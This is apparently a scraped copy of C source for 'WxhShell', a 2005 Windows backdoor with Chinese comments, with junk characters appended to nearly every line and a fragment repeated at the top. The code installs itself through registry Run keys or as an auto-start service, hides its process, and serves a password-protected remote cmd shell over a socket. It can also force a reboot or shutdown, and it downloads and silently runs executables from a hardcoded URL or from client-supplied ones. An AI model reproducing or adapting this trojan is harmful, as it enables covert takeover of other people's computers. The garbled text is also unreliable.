    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :BZ0 7`9  
    if(Boot(SHUTDOWN))  i g71/'D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4e+$bU3  
    else { j$@tK0P  
    closesocket(wsh); Dgi~rr1`'s  
    ExitThread(0); Np,2j KF(  
    } Y& {|Sw7?  
    break; +1`t}hO  
    } k`YYZt]@  
  // 获取shell jj&s} _75  
  case 's': { 5vOCCW  
    CmdShell(wsh); p+w8$8)  
    closesocket(wsh); .b>TK  
    ExitThread(0); $RO$}!  
    break; w G!u+  
  } _" N\b%CkO  
  // 退出 pj{\T?(  
  case 'x': { +"!aM?o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fr:5$,At7-  
    CloseIt(wsh); 1mW%  
    break; .ER98  
    } 1:NS}r+>3.  
  // 离开 <d7xt* 4  
  case 'q': { ]7/gJ>g,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &O1v,$}'  
    closesocket(wsh); RUXCq`)"<  
    WSACleanup(); f(Hu {c5yV  
    exit(1); 8jnz}aBd  
    break; tYe:z:7l?<  
        } R}{GwbF_\  
  } $@uU@fLB  
  } ^ eh /HnJs  
?0vNEz[  
  // 提示信息 !: us!s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?[= U%sPu=  
} v'ay.oVzw  
  } ImkrV{,e  
ME+em1ZH  
  return; Y1\K;;X  
}  *4yN3y  
XAD3Z?  
// shell模块句柄 vjlGXT`m  
int CmdShell(SOCKET sock) Z)9R9s  
{ ; B$ *)X9  
STARTUPINFO si; t4K56H.L?  
ZeroMemory(&si,sizeof(si)); :5# V^\3*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q7a(P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~@9zil41  
PROCESS_INFORMATION ProcessInfo; !v>ew9  
char cmdline[]="cmd"; <Dm Tj$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !nw [  
  return 0; n0fRu`SNV  
} ,"G\f1  
uxDLDA$;  
// 自身启动模式 jnBC;I[:  
int StartFromService(void) 9k>uRV6  
{ buY D l  
typedef struct r+\/G{+=}  
{ WU\m^!`w=F  
  DWORD ExitStatus; Y5%;p33uFG  
  DWORD PebBaseAddress; ^k72{ 3N(  
  DWORD AffinityMask; vm}G[  
  DWORD BasePriority; A ,<@m2  
  ULONG UniqueProcessId; -!R l(if  
  ULONG InheritedFromUniqueProcessId; vLn> 4SK  
}   PROCESS_BASIC_INFORMATION; ?5~!i9pY  
VGJDqm!  
PROCNTQSIP NtQueryInformationProcess; |- OHve4A  
Zi1YZxF`Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (02g#A`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SIv[9G6  
n\>.T[$"  
  HANDLE             hProcess; l1RlYl5  
  PROCESS_BASIC_INFORMATION pbi; pqfT\Kb>  
FsY`nWwg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @:gl:mc  
  if(NULL == hInst ) return 0; z7q%,yw3N  
P>W8V+l![  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  N|N/)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3@HIpQM3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y6;@/[_  
5f3!NeI  
  if (!NtQueryInformationProcess) return 0; $4h04_"  
T&*eOr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R `Q?J[e  
  if(!hProcess) return 0; G5+]DogS  
P:a*t[+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +V89J!7  
z1qUz7  
  CloseHandle(hProcess); _w%s(dzk  
9/H^t* 5t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1eF@_Y^a!  
if(hProcess==NULL) return 0; v1K4$&{F  
2w7@u/OC'  
HMODULE hMod; ~,+[M-  
char procName[255]; {4)5]62>u  
unsigned long cbNeeded; FJlsWh4,6=  
i*b4uHna  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M Hn&; A]  
h%|9]5(=  
  CloseHandle(hProcess); I')x]edU  
[$H( CH`  
if(strstr(procName,"services")) return 1; // 以服务启动 jaNH](V  
h!~|6nj  
  return 0; // 注册表启动 yT2vO_rH  
} ]X4RnV55Q  
ua!D-0  
// 主模块 "SDsISWd  
int StartWxhshell(LPSTR lpCmdLine) ?({PcF/  
{ )/ n29]  
  SOCKET wsl; 2 /UI>@By  
BOOL val=TRUE; P[6dTZ!\s  
  int port=0; J$<:/^t  
  struct sockaddr_in door;  !zF4 G,W  
5auL<Pq   
  if(wscfg.ws_autoins) Install(); ( / G)"]  
~c9vdK  
port=atoi(lpCmdLine); 7Im}~3NJG  
i"ck`6v"8  
if(port<=0) port=wscfg.ws_port; =/M$ <+  
OcLg3.:L  
  WSADATA data; ,2E`:#$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; moZ)|y  
nqUH6(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?%_]rr9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lS>=y#i3Xv  
  door.sin_family = AF_INET; {Nzmb|&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zvWO4\  
  door.sin_port = htons(port); |~Htj4K/  
^?81.b|qb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q^Q|.&_k /  
closesocket(wsl); =kyJaT^5[  
return 1; Sj,4=a  
} I67k M{V  
}:K\)Pd  
  if(listen(wsl,2) == INVALID_SOCKET) { IiYuUN1D  
closesocket(wsl); oC ^z_AtZ  
return 1; #mi0x06  
} ?tW%"S^D  
  Wxhshell(wsl); =k[(rvU3  
  WSACleanup();  4Ub?*  
_.oRVYK /  
return 0; gs^UR6 D,  
UEx(~>  
} :*^(OnIe  
c"oQ/x  
// 以NT服务方式启动 P\Pc/[ Z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z+5u/t  
{ S5YDS|K  
DWORD   status = 0; <S:,`v&Z  
  DWORD   specificError = 0xfffffff; WVBE>TB  
=rs=8Ty?S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q_UCF'f;}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 61t-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FC jYTGA  
  serviceStatus.dwWin32ExitCode     = 0; Yg]FF`{p=  
  serviceStatus.dwServiceSpecificExitCode = 0; }lr fO_  
  serviceStatus.dwCheckPoint       = 0; W! 5Blo  
  serviceStatus.dwWaitHint       = 0; ={wjeRp  
reD[j,i&t.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q=j/s4~  
  if (hServiceStatusHandle==0) return; PLY-,Q&'  
z}Mb4{d1  
status = GetLastError(); v/4X[6(  
  if (status!=NO_ERROR) 0t/z "  
{ bb0{-T)1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "pKGUM  
    serviceStatus.dwCheckPoint       = 0; Kuzy&NI^w  
    serviceStatus.dwWaitHint       = 0; b(.o|d/P  
    serviceStatus.dwWin32ExitCode     = status; "O"^\f  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hme@9(zD.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yg:74; .  
    return; `G:qtHn"Q<  
  } gE]a*TOZk  
rE' %MiIK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` wsMybe#  
  serviceStatus.dwCheckPoint       = 0; k6 h^  
  serviceStatus.dwWaitHint       = 0; ^b/q|(Nu&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h<z/LL8|  
} [fJFH^&?hr  
SE7 (+r  
// 处理NT服务事件,比如:启动、停止 hPCSLJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `h%D\EKeB  
{ =kZwB*7  
switch(fdwControl) Y-q,Ovf!  
{ tMs| UC  
case SERVICE_CONTROL_STOP: c#4ZDjvm6  
  serviceStatus.dwWin32ExitCode = 0; ]jT[dX|?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PrYWha=c-  
  serviceStatus.dwCheckPoint   = 0; XP Iu]F  
  serviceStatus.dwWaitHint     = 0; '~vSH9nx/  
  { 2H32wpY ,l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KE|u}M@v6  
  } dA!f v`,6-  
  return; 9zGKQ|X)  
case SERVICE_CONTROL_PAUSE: Z ysUz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 36Fa9P FCc  
  break; '| Q*~Lh  
case SERVICE_CONTROL_CONTINUE: 2K7:gd8Ru  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '\vmfp =  
  break; CSg5i&A=  
case SERVICE_CONTROL_INTERROGATE: bD^ob.c.A  
  break; C Wl95g  
}; _ZE$\5>-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :?of./Df|  
} Ph!NY i,  
@'| 6lG  
// 标准应用程序主函数 \crb&EgID  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kd|l\k!  
{ sOtNd({  
1:l&&/Wy  
// 获取操作系统版本 |$*9j""u  
OsIsNt=GetOsVer(); EO!cv,[a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {m*J95[   
v lnUN  
  // 从命令行安装 SvpTs  
  if(strpbrk(lpCmdLine,"iI")) Install(); oDiv9 jm  
ofhZ@3  
  // 下载执行文件 ^=M(K''  
if(wscfg.ws_downexe) { VH1c)FI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  C(Gb  
  WinExec(wscfg.ws_filenam,SW_HIDE); yA)+-  
} 0JWD] "  
:usBeho  
if(!OsIsNt) { G5@fqh6ws  
// 如果时win9x,隐藏进程并且设置为注册表启动 (HD>vNha1  
HideProc(); 9%'HB\A  
StartWxhshell(lpCmdLine); t;PnjCD<`  
} ?fX8WRdh  
else c!FjHlAnP  
  if(StartFromService()) ;;J98G|1  
  // 以服务方式启动 K`Zb;R X  
  StartServiceCtrlDispatcher(DispatchTable);  G6ES]  
else 5oyMR_yl  
  // 普通方式启动 /M c"K  
  StartWxhshell(lpCmdLine); / {bK*A!  
}K]VlFR  
return 0; rnr8t]  
} r*xw\  
B{i;+[ase  
?mUu(D:7D  
':>*=&  
=========================================== ![C $H5  
<Q~7a hF  
t# {>y1[29  
a;6\T*iJ!  
H%gD[!^  
-L<Pm(v&  
" oD2;Tdk  
KPcuGJ  
#include <stdio.h> zt%Fvn4/pF  
#include <string.h> 6M|%nBN$|  
#include <windows.h> 8-lY6M\R\  
#include <winsock2.h> < tq9  
#include <winsvc.h> Q]:%Jj2  
#include <urlmon.h> \<>%_y'/)h  
<plR<iI.  
#pragma comment (lib, "Ws2_32.lib") .T X& X  
#pragma comment (lib, "urlmon.lib") !\ukb  
oU5mrS.7M!  
#define MAX_USER   100 // 最大客户端连接数 R?Q-@N>wE  
#define BUF_SOCK   200 // sock buffer EqluxD=  
#define KEY_BUFF   255 // 输入 buffer hjT1SW\I  
d9( Sj?  
#define REBOOT     0   // 重启 1"6k5wrIA  
#define SHUTDOWN   1   // 关机 @z q{#7%z  
*G=AhH$t  
#define DEF_PORT   5000 // 监听端口 H)+kN'J  
Jjq%cA  
#define REG_LEN     16   // 注册表键长度 v w;  
#define SVC_LEN     80   // NT服务名长度 M.Ik%nN#K0  
+yI^<BH  
// 从dll定义API m~B=C>r}t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }O{"qs#)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O waXG/z~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "c*|vE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g7F Z -  
l[|e3<H  
// wxhshell配置信息 va;wQ~&  
struct WSCFG { ^w\uOd`  
  int ws_port;         // 监听端口 .>&fwG  
  char ws_passstr[REG_LEN]; // 口令 uHCgIR l>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0wcWDE 9  
  char ws_regname[REG_LEN]; // 注册表键名 ~MO C r  
  char ws_svcname[REG_LEN]; // 服务名 }YO}LQ-|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \&90$>h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Oc`fQqYy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jwox?]f+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o3kj7U:'x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mio'm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?J ?!%Mw  
V:J6eks_  
}; AK =k@hT  
|_*1/Wz@  
// default Wxhshell configuration !Ua#smZ  
struct WSCFG wscfg={DEF_PORT, w>s  
    "xuhuanlingzhe", .Ps;O  
    1, s#[Ej&2[=  
    "Wxhshell", R[;Z<K\Nn?  
    "Wxhshell", )f rtvN7  
            "WxhShell Service", y;jyfc$ `  
    "Wrsky Windows CmdShell Service", '3VrHL@@g  
    "Please Input Your Password: ", /<Et   
  1, ;4IP7$3G  
  "http://www.wrsky.com/wxhshell.exe", D>Z_N?iR  
  "Wxhshell.exe" bJD"&h5  
    }; AtOB'=ph*  
V'$ eun  
// 消息定义模块 !@X#{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *79<ypKG$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?6bE!36  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OA0\b_  
char *msg_ws_ext="\n\rExit."; s@|?N+z  
char *msg_ws_end="\n\rQuit."; zU%aobZ  
char *msg_ws_boot="\n\rReboot..."; .YkKIei  
char *msg_ws_poff="\n\rShutdown..."; LzfLCGA^  
char *msg_ws_down="\n\rSave to "; 4 #N#[;M  
n'H\*9t  
char *msg_ws_err="\n\rErr!"; P +SCX#{y  
char *msg_ws_ok="\n\rOK!"; Yy}aQF#M  
F t}tIP7  
char ExeFile[MAX_PATH]; N\?iU8w=  
int nUser = 0; t-Wn@a  
HANDLE handles[MAX_USER]; ln.~>FO  
int OsIsNt; ;V GrZZ  
QI- 3m qL  
SERVICE_STATUS       serviceStatus; ".u?-xcbJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a#1X)ot  
S]>_o"|HV  
// 函数声明 LtQy(F%8/  
int Install(void); , ]MX&]  
int Uninstall(void); a_yV*N`D  
int DownloadFile(char *sURL, SOCKET wsh); @&+ 1b=  
int Boot(int flag); \WTg0b[  
void HideProc(void); vC7sJIch2<  
int GetOsVer(void); yBoZ@9Do  
int Wxhshell(SOCKET wsl); rW^&8E[  
void TalkWithClient(void *cs); MouYZI)  
int CmdShell(SOCKET sock); 9pgct6BO  
int StartFromService(void); 'a}{s>{O  
int StartWxhshell(LPSTR lpCmdLine); BSz\9 eT  
$I9zJ"*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wmIq{CXx,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VtVnht1  
(Gc5l MiX3  
// 数据结构和表定义 ]k8XLgJ  
SERVICE_TABLE_ENTRY DispatchTable[] = r\] WDX!`  
{ !>tXib]:  
{wscfg.ws_svcname, NTServiceMain}, S92Dvw?  
{NULL, NULL} ~(8A&!#,!  
}; m^7pbJ\|  
N%-nxbI\  
// 自我安装 bchhokH   
int Install(void) .28*vkH%C=  
{ Nl+2m4  
  char svExeFile[MAX_PATH]; =[WccF  
  HKEY key; ~AO0(Lp  
  strcpy(svExeFile,ExeFile); m0P5a%D  
|'.SOm9)*  
// 如果是win9x系统,修改注册表设为自启动 mF1oY[xa_  
if(!OsIsNt) { Cw_<t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /[q@=X&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); roKiSE`  
  RegCloseKey(key); $=bN=hE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y8L:nnSj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Np<Aak  
  RegCloseKey(key); 5&>(|Y~I  
  return 0; W+#?3s[FV  
    } Cfj*[i4  
  } %%_90t  
} yH`xk%q_  
else { IFgF5VG6g  
=$'Zmb [D  
// 如果是NT以上系统,安装为系统服务 p)oW'#@a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;f><;X~KX  
if (schSCManager!=0) 'L,rJ =M3  
{ |Mh;k 6  
  SC_HANDLE schService = CreateService >}9TdP/oT  
  ( n33SWE(  
  schSCManager, =nsY[ s<  
  wscfg.ws_svcname, ._yr7uY[M  
  wscfg.ws_svcdisp, V7^?jck  
  SERVICE_ALL_ACCESS, 'e&4#VLH^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U*b SM8)L*  
  SERVICE_AUTO_START, Frml'Vfq7  
  SERVICE_ERROR_NORMAL, Z(.Tl M2h  
  svExeFile, i et|\4A  
  NULL, ,&k 5Qq  
  NULL, jfWIPN  
  NULL, ?>&8,p17  
  NULL, ABSeX  
  NULL  w&-r  
  ); F ^\v`l,  
  if (schService!=0) 0'~ ?u'  
  { wO"Q{oi+  
  CloseServiceHandle(schService); VcP#/&B|  
  CloseServiceHandle(schSCManager); |gaZq!l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %cv%u6 b  
  strcat(svExeFile,wscfg.ws_svcname); jzV#%O{`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Y:/^Q$_qS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q^Z\V?  
  RegCloseKey(key); ZTun{Dw{  
  return 0; ~}5(J,1!  
    } ]gEfm~YV  
  } LgaJp_d>9*  
  CloseServiceHandle(schSCManager); Ia\Nj _-%L  
} 1Tl("XV3  
} $ p0s  
C{Zv.+F  
return 1; _#+9)*A  
} I@\{6hw  
ANNL7Z3C  
// 自我卸载 7%<jZ =  
int Uninstall(void) t EeMl =u  
{ /t/q$X  
  HKEY key; aT0 y  
%`TLs^  
if(!OsIsNt) { q8D1MEBL`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9Z5g3s7R  
  RegDeleteValue(key,wscfg.ws_regname); EAI[J&c  
  RegCloseKey(key); A gPg0(G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #=tWCxf=  
  RegDeleteValue(key,wscfg.ws_regname); =_86{wlk  
  RegCloseKey(key); uqnZ  
  return 0; Z`%;bP:  
  } %{{#Q]]&  
} aZ^lI 6@+4  
} ; YRZg|Zw  
else { o#Y1Uamkf  
X*~YCF[_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9f @)EKBK  
if (schSCManager!=0) {\e}43^9N  
{ 7%'<}u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qL#R XUTP  
  if (schService!=0) Nt'5}  
  { n>Ei1  
  if(DeleteService(schService)!=0) { NplSkv  
  CloseServiceHandle(schService); &td#m"wI  
  CloseServiceHandle(schSCManager); f[RnL#*xJU  
  return 0; n*1UNQp@]O  
  } 9+:Trc\%N  
  CloseServiceHandle(schService); \5Jv;gc\\  
  } %F~ dmA#:  
  CloseServiceHandle(schSCManager); *O;N"jf  
} V6k9L*VP  
} ?Y9?x,x  
[>0r'-kI  
return 1; qha<.Ro  
} >O _  
PjHm#a3zg%  
// 从指定url下载文件 erqB/C  
int DownloadFile(char *sURL, SOCKET wsh) NO$Nl/XM  
{ ;w>B}v;RE  
  HRESULT hr; R<=t{vTJ5  
char seps[]= "/"; KkY22_{ac  
char *token; G!\x c  
char *file; { SfU!  
char myURL[MAX_PATH]; eG v"&kr  
char myFILE[MAX_PATH]; m+g>s&1H  
,zFN3NLtA  
strcpy(myURL,sURL); S6mmk&n  
  token=strtok(myURL,seps); 5*AKl< Jl  
  while(token!=NULL) ?KN_J  
  { %?fzT+-=%  
    file=token; 8'_Y=7b0Nw  
  token=strtok(NULL,seps); F'I6aE%  
  } {@A2jk\  
UwU]l17~  
GetCurrentDirectory(MAX_PATH,myFILE); v,0DGR~  
strcat(myFILE, "\\"); #k)\e;,X  
strcat(myFILE, file); .p`'^$X^  
  send(wsh,myFILE,strlen(myFILE),0); A3_9MO   
send(wsh,"...",3,0); 0h#M)Ft  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BXY'%8q _a  
  if(hr==S_OK) keOW{:^i  
return 0; Vd4osBu{fY  
else #pfosC[  
return 1; 4lCm(#T{,  
sXxO{aeev  
} R{_IrYk  
}3 }=tN5  
// 系统电源模块 PvwIO_W  
int Boot(int flag) SfUUo9R(sm  
{ "=.|QKC1`  
  HANDLE hToken; {9 O`/|  
  TOKEN_PRIVILEGES tkp; ^%pwyY\t  
OB22P%  
  if(OsIsNt) { DlI5} Jh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '9@R=#nd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W<"\hQI  
    tkp.PrivilegeCount = 1; sA}R!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Umg81!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z > =Y  
if(flag==REBOOT) { q;.]e#wvh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <>s\tJ  
  return 0; Q%^bA,$&D  
} /MH@>C _  
else { "M^W:4_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;4$C$r!t  
  return 0; Bq_P?Q+\  
} i&)C,  
  } RCXSz  
  else { dRm'$ G9  
if(flag==REBOOT) { B}+9U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4tJ4X' U  
  return 0; X:&p9_O@  
} %PbqASm  
else { 7G/|e24  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !#1A7[WN  
  return 0; y$o=\:  
} n5*7~K "C  
} 9PK-r;2  
-i5g 8t'  
return 1; 9t.yP;j\Y  
} H^;S}<pxW  
x=Jn&4q  
// win9x进程隐藏模块 \N+Ta:U1P  
void HideProc(void) Gj`Y2X2r  
{ e-3pg?M  
`sy &dyM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kDY]>v  
  if ( hKernel != NULL ) A>%UYA  
  { ,9wenr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hRIS [#z;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y zW7;U S  
    FreeLibrary(hKernel); 9w;J7jgOT!  
  } 3H#/u! W  
fhIj+/{_O  
return; /3 Ix,7  
} Ty0T7D   
*M<BPxh0w]  
// 获取操作系统版本 9$V_=Bo  
int GetOsVer(void) f\_!N "HW  
{ K6*UFO4}i  
  OSVERSIONINFO winfo; S{i@=:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L_1_y, 0N  
  GetVersionEx(&winfo); _% 9+U [@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s/vOxGc  
  return 1; ZQ'  z  
  else o/ g+Z  
  return 0; *R\/#Y|  
} J*~2 :{=%  
6(^Upk=59  
// 客户端句柄模块 p$1Rgm\  
int Wxhshell(SOCKET wsl) k-cIb@+"  
{ ]n]uN~)9  
  SOCKET wsh; 4B8Se  
  struct sockaddr_in client; @W\4UX3dK  
  DWORD myID; K1/gJ9+(\  
@23R joK  
  while(nUser<MAX_USER) j)tC r Py  
{ ?I2k6%a  
  int nSize=sizeof(client); X]pWvQ Q]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pG F5aF7T  
  if(wsh==INVALID_SOCKET) return 1; #"p1Qea$  
g[wP!y%V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PMN2VzE4{  
if(handles[nUser]==0) 0I>?_?~l6  
  closesocket(wsh); .W@4vrp@  
else Pm#x?1rAj  
  nUser++; (\mulj  
  } E/8u'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z"n'/S:q  
o~o6S=4,}  
  return 0; '6.>Wdd  
} ?dKa;0\  
'/u:,ar  
// 关闭 socket vpeBQ=2\  
void CloseIt(SOCKET wsh) f05"3L:  
{ >^H'ZYzw  
closesocket(wsh); I`"-$99|t1  
nUser--; ?zhI=1 ED%  
ExitThread(0); wj#J>C2]  
} 4kaE}uKU  
B3cf] S%  
// 客户端请求句柄 dE5 5  
void TalkWithClient(void *cs) l~fh_IV1  
{ QxL@'n#5   
^Cc8F3os=  
  SOCKET wsh=(SOCKET)cs; @[5_C?2  
  char pwd[SVC_LEN]; j(Fa=pi  
  char cmd[KEY_BUFF]; q?;*g@t  
char chr[1]; 2Ft8dfdm`  
int i,j; dXhCyr%"6  
oN[Fza>  
  while (nUser < MAX_USER) { - - i&"  
b(|%Gbg@c  
if(wscfg.ws_passstr) { cyGN3t9`.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RRS~ xOg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g,n-s+  
  //ZeroMemory(pwd,KEY_BUFF); dysX  
      i=0; :cXIO  
  while(i<SVC_LEN) { f[JI/H>  
C!ZI&cD9  
  // 设置超时 f.b8ZBNj>  
  fd_set FdRead; J0?$v6S  
  struct timeval TimeOut; VD9 q5tt7  
  FD_ZERO(&FdRead); #$rf-E5g-K  
  FD_SET(wsh,&FdRead); 7y>Tn`V8G  
  TimeOut.tv_sec=8; B^i mG  
  TimeOut.tv_usec=0; Y]+e  Df  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;f".'9 l^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \#\`!L[1  
DC$7B`#D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i(M(OR/4  
  pwd=chr[0]; Ud>`@2  
  if(chr[0]==0xd || chr[0]==0xa) { $:f.Krj  
  pwd=0; U;';"9C2>  
  break; tr}KPdE  
  } 5 1o@b  
  i++; 7XUhJN3n  
    } $"Y3mD}?L  
W:VW_3  
  // 如果是非法用户,关闭 socket C+/Eqq^(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I6K7!+;2  
} yD"]{  
f*{M3"$E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &q4ox71  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2-8YSHlh  
3xBN10R#  
while(1) { t *o7,  
6b%`^B\  
  ZeroMemory(cmd,KEY_BUFF); jmRhAJV  
rU; g0'4e  
      // 自动支持客户端 telnet标准   IM[54_I  
  j=0; :0nK`$'  
  while(j<KEY_BUFF) { OfD@\;L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (3AYy0J%  
  cmd[j]=chr[0]; jZa25Z00  
  if(chr[0]==0xa || chr[0]==0xd) { "(0oP9lZ  
  cmd[j]=0; &@=u+)^-{  
  break; U^B"|lc:[  
  } jVX._bEGX  
  j++; uPFRh~ (b  
    } f8^"E $"  
La\Q'0  
  // 下载文件 HvAE,0N  
  if(strstr(cmd,"http://")) { 1pWk9Xuh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5_v5  
  if(DownloadFile(cmd,wsh)) zs4>/9O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vB Sm=M  
  else e%pu.q\gK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h{\t*U 54'  
